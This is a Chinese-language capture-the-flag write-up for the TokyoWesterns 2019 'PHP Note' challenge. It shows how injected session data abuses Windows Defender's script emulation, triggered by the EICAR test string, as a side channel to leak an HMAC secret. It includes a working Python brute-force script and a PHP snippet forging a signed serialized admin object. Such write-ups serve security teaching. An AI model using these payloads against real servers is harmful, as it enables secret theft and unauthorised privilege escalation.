TokyoWesterns CTF 2019 PHP Note WriteUp

2019-09-11 4,679
最近上班很忙,玩的时间少,希望尽量做到每个比赛学习一道自己觉得有意思的题目。

<!--more-->

相关信息

从响应中发现一个有趣的字段,该题目的搭建环境为Windows10

 Server: Microsoft-IIS/10.0

题目给出一个简单的登录表单,注册并登陆,从html源码里看到提示:

 <!-- <a href="/?action=source">source</a> -->

直接获取php源码:

 <?php
 include 'config.php';
 
 class Note {
     public function __construct($admin) {
         $this->notes = array();
         $this->isadmin = $admin;
     }
 
     public function addnote($title, $body) {
         array_push($this->notes, [$title, $body]);
     }
 
     public function getnotes() {
         return $this->notes;
     }
 
     public function getflag() {
         if ($this->isadmin === true) {
             echo FLAG;
         }
     }
 }
 
 function verify($data, $hmac) {
     $secret = $_SESSION['secret'];
     if (empty($secret)) return false;
     return hash_equals(hash_hmac('sha256', $data, $secret), $hmac);
 }
 
 function hmac($data) {
     $secret = $_SESSION['secret'];
     if (empty($data) || empty($secret)) return false;
     return hash_hmac('sha256', $data, $secret);
 }
 
 function gen_secret($seed) {
     return md5(SALT . $seed . PEPPER);
 }
 
 function is_login() {
     return !empty($_SESSION['secret']);
 }
 
 function redirect($action) {
     header("Location: /?action=$action");
     exit();
 }
 
 $method = $_SERVER['REQUEST_METHOD'];
 $action = $_GET['action'];
 
 if (!in_array($action, ['index', 'login', 'logout', 'post', 'source', 'getflag'])) {
     redirect('index');
 }
 
 if ($action === 'source') {
     highlight_file(__FILE__);
     exit();
 }
 
 
 session_start();
 
 if (is_login()) {
     $realname = $_SESSION['realname'];
     $nickname = $_SESSION['nickname'];
     
     $note = verify($_COOKIE['note'], $_COOKIE['hmac'])
             ? unserialize(base64_decode($_COOKIE['note']))
             : new Note(false);
 }
 
 if ($action === 'login') {
     if ($method === 'POST') {
         $nickname = (string)$_POST['nickname'];
         $realname = (string)$_POST['realname'];
 
         if (empty($realname) || strlen($realname) < 8) {
             die('invalid name');
         }
 
         $_SESSION['realname'] = $realname;
         if (!empty($nickname)) {
             $_SESSION['nickname'] = $nickname;
         }
         $_SESSION['secret'] = gen_secret($nickname);
     }
     redirect('index');
 }
 
 if ($action === 'logout') {
     session_destroy();
     redirect('index');
 }
 
 if ($action === 'post') {
     if ($method === 'POST') {
         $title = (string)$_POST['title'];
         $body = (string)$_POST['body'];
         $note->addnote($title, $body);
         $data = base64_encode(serialize($note));
         setcookie('note', (string)$data);
         setcookie('hmac', (string)hmac($data));
     }
     redirect('index');
 }
 
 if ($action === 'getflag') {
     $note->getflag();
 }
 
 ?>
 <!doctype html>
 <html>
     <head>
         <title>PHP note</title>
     </head>
     <style>
         textarea {
             resize: none;
             width: 300px;
             height: 200px;
         }
     </style>
     <body>
         <?php
         if (!is_login()) {
             $realname = htmlspecialchars($realname);
             $nickname = htmlspecialchars($nickname);
         ?>
         <form action="/?action=login" method="post" id="login">
             <input type="text" id="firstname" placeholder="First Name">
             <input type="text" id="lastname" placeholder="Last Name">
             <input type="text" name="nickname" id="nickname" placeholder="nickname">
             <input type="hidden" name="realname" id="realname">
             <button type="submit">Login</button>
         </form>
         <?php
         } else {
         ?>
         <h1>Welcome, <?=$realname?><?= !empty($nickname) ? " ($nickname)" : "" ?></h1>
         <a href="/?action=logout">logout</a>
         <!-- <a href="/?action=source">source</a> -->
         <br/>
         <br/>
         <?php
             foreach($note->getnotes() as $k => $v) {
                 list($title, $body) = $v;
                 $title = htmlspecialchars($title);
                 $body = htmlspecialchars($body);
         ?>
         <h2><?=$title?></h2>
         <p><?=$body?></p>
         <?php
             }
         ?>
         <form action="/?action=post" method="post">
             <input type="text" name="title" placeholder="title">
             <br>
             <textarea name="body" placeholder="body"></textarea>
             <button type="submit">Post</button>
         </form>
         <?php
         }
         ?>
         <?php
         ?>
         <script>
             document.querySelector("form#login").addEventListener('submit', (e) => {
                 const nickname = document.querySelector("input#nickname")
                 const firstname = document.querySelector("input#firstname")
                 const lastname = document.querySelector("input#lastname")
                 document.querySelector("input#realname").value = `${firstname.value} ${lastname.value}`
                 if (nickname.value.length == 0 && firstname.value.length > 0 && lastname.value.length > 0) {
                     nickname.value = firstname.value.toLowerCase()[0] + lastname.value.toLowerCase()
                 }
             })
         </script>
     </body>
 </html>

分析代码可知:获取flag需要调用Note类中的getflag函数,并且类中成员$this->isadmin === true

若能成功找到可控的反序列化漏洞点,就能控制成员变量,反序列化点如下:

 $note = verify($_COOKIE['note'], $_COOKIE['hmac'])
             ? unserialize(base64_decode($_COOKIE['note']))
             : new Note(false);

这里对$_COOKIE['note']变量进行了反序列化,但只有通过verify($_COOKIE['note'], $_COOKIE['hmac'])函数的校验,才能进行反序列化,查看verify函数:

 function verify($data, $hmac)
 {
     $secret = $_SESSION['secret'];
     if (empty($secret)) return false;
     return hash_equals(hash_hmac('sha256', $data, $secret), $hmac);
 }

使用了安全的hash_equals函数进行比较hash,$_SESSION['secret']作为使用 HMAC 生成信息摘要时所使用的密钥。$_SESSION['secret']的生成方式如下:

 if ($action === 'login') {
     ....................
         $_SESSION['secret'] = gen_secret($nickname);
     }
     redirect('index');
 }

在登录时通过gen_secret函数生成:

 function gen_secret($seed)
 {
     return md5(SALT . $seed . PEPPER);
 }

$_SESSION['secret']根据我们可控的$nickname和两个未知的常量md5后生成。

verify函数的整个校验过程非常的强壮,逻辑上并不存在问题。


Windows Defender

Windows 10 内置的可靠防病毒保护来确保 PC 安全。Windows Defender 防病毒提供全面、持续和实时的保护,以抵御电子邮件、应用、云和 Web 上的病毒、恶意软件和间谍软件等软件威胁。

Windows Defender默认开启,其中包括实时保护功能。

image-20190910180508619.png

该功能会对系统中新生成的文件进行扫描分析判断是否为恶意文件,扫描的文件内容支持常规的恶意软件特征,还包括Web中的Html,JavaScript等。

mpengine.dllWindows Defender实现防御功能中重要的DLL,通过mpengine.dll实现了一个基本的Web沙盒引擎,包括HTML标签的解析,JavaScript包含字符串、对象等解析的基本引擎,完成对挖矿等Web恶意代码的检测。

经典的恶意测试代码:

 X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*

Windows Defender中的实现的Web沙盒引擎中,会执行内容中的JS代码,将恶意测试代码作为参数传入javascript中的eval,将会触发拦截:

 <script>
     //document.body.innerHTML; 同时需要包含document.body.innerHTML,不然无法触发拦截
     var mal = "X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*";
     eval(mal);
 </script>

触发Windows Defender后会导致文件访问被拦截,并将恶意代码替换为空:

image-20190910191230024.pngimage-20190910191230024

解决思路

利用Windows Defender特性,可以leak secret:

题目中我们可控的几个输入变量会到$_SESSION中,那么最后都会作为文件存入服务器,都会经过Windows Defender的扫描检测。

向session文件中注入精心构造的HTML和JS代码,使secret内容成为body,沙盒引擎执行JS对secret进行猜解,猜解成功则触发Windows Defender对session文件进行拦截和修改,session文件损坏,通过账户是否能够正常登录作为侧信道进行判断。


根据如上思路,构造猜解body中secret的Demo如下:

 <body>secret</body>
 <script>
     var body = document.body.innerHTML;
     var a = {1: ''};
     var x = a[Number(body.charCodeAt(0) == 115)];
     var mal = "X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*" + x;
     eval(mal);
     //console.log(mal)
 </script>


经过测试Windows Defender发现如下特性:

  • 默认情况下(和空字符拼接)的恶意测试代码进入eval将被Windows Defender检测

     var mal = "X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*" + "";
     eval(mal);
  • 和其他字符拼接的恶意测试代码进入eval将无法被Windows Defender检测

     var mal = "X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*" + x;
     eval(mal);


首先获取body中的字符串内容,然后定义对象a,然后返回指定0位的字符的Unicode码和猜解的115进行比较,两者相等,比较结果为true然后经过Number转换为数字1,然后将1作为对象访问索引访问对象a,获取空字符串和恶意测试代码进行拼接,并传入eval,触发Windows Defender拦截并替换内容;若前面比较时不相等,则不触发Windows Defender。



操作与分析

本地搭建环境,提交测试参数如下:

image-20190910221349246image-20190910221349246.png

session文件如下:

 realname|s:18:"FirstName LastName";nickname|s:8:"NickName";secret|s:32:"3d5fb7437288f6966e4dbe5fabb1b64f";

观察发现我们可控的realnamenickname都在前面,无法注入<body></body>包裹secret,这样的顺序和位置很重要,需要secret在中间。

 if ($action === 'login') {
     if ($method === 'POST') {
         $nickname = (string)$_POST['nickname'];
         $realname = (string)$_POST['realname'];
 
         if (empty($realname) || strlen($realname) < 8) {
             die('invalid name');
         }
 
         $_SESSION['realname'] = $realname;
         if (!empty($nickname)) {
             $_SESSION['nickname'] = $nickname;
         }
         $_SESSION['secret'] = gen_secret($nickname);
     }
     redirect('index');
 }

login的行为可以多次进行,这意味着可以修改session文件存储内容,并且$realname是必须存在,但$nickname并非必要。

第一次发送请求只包含$realname$nickname为空,realname=111111<body>,session文件如下:

 realname|s:12:"111111<body>";secret|s:32:"aab9ba42b5591219a5b20e34e0c83b78";


第二次发送请求,realname=111111<body>&nickname=</body>,session文件如下:

 realname|s:12:"111111<body>";secret|s:32:"1cfd6d24dfd62963df7324feb1faf6fd";nickname|s:7:"</body>";

可以看到secret已经被<body>标签包裹,然后继续注入猜解body的JS。

这里我们只能将JS注入在realname中,因为nickname会被用于生成secret,所以我们让其始终为</body>

 $_SESSION['secret'] = gen_secret($nickname);

也就是将变为三个常量拼接成为MD5参数:

 md5(SALT . '</body>' . PEPPER);

这样生成secret将不会随着realname中的payload进行变化,修改realname中的内容如下:

 <script>
             var body = document.body.innerHTML;
             var a = {1: ''};
             var x = a[Number(body.charCodeAt(10) == 0)];
             var mal = "X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*" + x;
             eval(mal);
 </script><body>

再次发送请求,查看session文件:

 realname|s:280:"<script>
             var body = document.body.innerHTML;
             var a = {1: ''};
             var x = a[Number(body.charCodeAt(10) == 0)];
             var mal = "X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*" + x;
             eval(mal);
 </script><body>";secret|s:32:"1cfd6d24dfd62963df7324feb1faf6fd";nickname|s:7:"</body>";

变成和Demo一样了,只不过<body>标签在后面了。

最终leak secret exp如下:

 # coding=utf-8
 import requests
 
 if __name__ == "__main__":
     url = "http://phpnote.chal.ctf.westerns.tokyo/"
 
     session = ""
     for index in range(10,64):
         s = requests.Session()
         for x in range(256):
             data = {"realname": "xxxxxxxxxxxx"}
             s.post(url + "/?action=login", data=data)
 
             payload = '''<script>
             var body = document.body.innerHTML;
             var a = {1: ''};
             var x = a[Number(body.charCodeAt(''' + str(index) + ''') == ''' + str(x) + ''')];
             var mal = "X5O!P%@AP[4\\\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*" + x;
             eval(mal);
 </script><body>'''
             print(payload)
             data = {"realname": payload, 'nickname': '</body>'}
             s.post(url + "/?action=login", data=data)
 
             rs = s.get(url + "/?action=index")
             print(str(index) + '   ' + str(x))
             if ('Login' in rs.text):
                 session = session + chr(x)
                 print("session : " + session)
                 break
             else:
                 pass
 

</body>作为nickname时leak出secret值如下:

 session : ";secret|s:32:"2532bd172578d19923e5348420e02320";

反序列化

构造反序列化脚本如下:

 //原脚本
 $n = new Note(True);
 $n = base64_encode(serialize($n));
 $hmac = hash_hmac('sha256', $n, '2532bd172578d19923e5348420e02320');
 echo 'note : ' . $n . "<br>";
 echo 'hmac : ' . $hmac;
 exit();

nickname</body>登录,创建包含leak secret session,然后cookie发送反序列化payload获取flag

image-20190910235442821.pngimage-20190910235442821

flag

 TWCTF{h0pefully_I_haven't_made_a_m1stake_again}


参考

https://westerns.tokyo/wctf2019-gtf/wctf2019-gtf-slides.pdf

https://meizjm3i.github.io/2019/08/01/%E5%88%A9%E7%94%A8Windows%20Defender%E4%BE%A7%E4%BF%A1%E9%81%93%E6%94%BB%E5%87%BB/


本文作者:Rai4over

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/112377.html

Tags:
评论  (0)
快来写下你的想法吧!

Rai4over

文章数:30 积分: 625

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号